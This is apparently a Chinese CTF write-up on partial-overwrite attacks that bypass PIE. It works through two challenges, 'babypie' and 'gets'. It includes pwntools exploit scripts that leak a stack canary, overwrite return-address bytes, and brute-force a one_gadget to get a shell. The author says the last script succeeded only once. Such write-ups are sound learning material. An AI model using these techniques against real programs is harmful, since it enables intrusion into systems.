partial overwrite

partial overwrite

我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。
(对于绕过PIE的操作我是没怎么接触过的)
大概就是用字节覆盖修改地址,使程序跳转到我们想用的函数上去

Babypie


这是一道保护全开的题

看到主程序,发现有两处写入

Read函数的最大问题大概就是它不会给末尾加’\0’所以可以leak地址
leak canary
在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会。
为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (因为canary的低位是\x00截断符,先用\x01去覆盖这个低位,然后打印出来后面的7位,最后加上\x00即可)、

发现有个可以直接getshell的函数,直接可以调用
我们用第一个输入点把canary爆出来,然后第二个调用可以直接getshell的函数

然后exp的话,因为开了PIE所以只能知道低三位的地址,第四位得靠爆(真的是随缘的那种)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


while True:
try:
p = process('./babypie')

p.sendafter(':\n',"a"*(0x30-0x8+1))
p.recvuntil("a"*(0x30-0x8+1))
canary = '\0' + p.recvn(7)
print "canary:" + hex(u64(canary))
p.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')

p.interactive()

except EOFError:
p.close()
continue

爆破了n遍之后终于。。。

然后发现,直接覆盖低两位地址就好了嘛!(read和system的函数贼接近,前面都是一样的,真的是要哭了)

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

p = process('./babypie')
p.sendafter(':\n',"a"*(0x30-0x8+1))
p.recvuntil("a"*(0x30-0x8+1))
canary = '\0' + p.recvn(7)
print "canary:" + hex(u64(canary))
payload = ''
payload += 'a'* 0x28 + canary + 'aaaaaaaa' + '\x3E'
p.send(payload)
p.interactive()

效果长这样

gets

这题没开pie,但它选择覆盖那里我还是挺懵的,就是两个真实地址,libc_start_main+192 和 _dl_init+139

我们到底选择覆盖哪个呢?这就很茫然了
Wiki上说的是:
我们一般要覆盖字节的话,至少要覆盖 1 个半字节才能够获取跳到 onegadget。然而,程序中读取的时候是 gets读取的,也就意味着字符串的末尾肯定会存在\x00。
而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看
libc_start_main+240 的地址 0x7ffff7a2d830(我这里是800),如果覆盖 3 个字节,那么就是 0x7ffff700xxxx,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置。
一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 __libc_start_main+240 ,显然是不可能的。
而 ld 的基地址呢?如果我们覆盖了栈上_dl_init+139,即为0x7ffff700xxxx。而观察上述的内存布局,我们可以发现libc位于 ld 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为\x00 的。
举个例子,目前两者之间的偏移为
0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000
那么如果 ld 被加载到了 0x7ffff73ca000,则显然 libc 的起始地址就是0x7ffff7000000。
然后就理所当然选_dl_init了(我觉得可能是libc是程序开始的地方,离我们要覆盖到的地址有点远,所以选一个近一点的)

所以由上面调试的截图可以看出,我们输完0x18个字符下一个ret处就是libc的地址了,而init离它还有18个偏移(a8-18=90—>8个字节为一个偏移)


然后我们找一个能用的onegadget
我们写个payload看看可不可以跑(估计要跑个六七万次,太难了啊)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
common_gadget = 0x40059B
def exp():
for i in range(0x100000):
# if args['REMOTE']:
# p = remote(ip, port)
# else:
# p = process('./gets')
# # gdb.attach(p)
p = process('./gets')
try:
payload = 0x18 * 'a' + p64(common_gadget)
for _ in range(2):
payload += 'a' * 0x28 + p64(common_gadget)
payload += 'a' * 0x28 + '\x16\02'
p.sendline(payload)

p.sendline('ls')
data = p.recv()
print data
p.interactive()
p.close()
except Exception:
p.close()
continue


if __name__ == "__main__":
exp()

之前偶然跑出来一次,然后再没跑出来了……先放个exp,改天再试试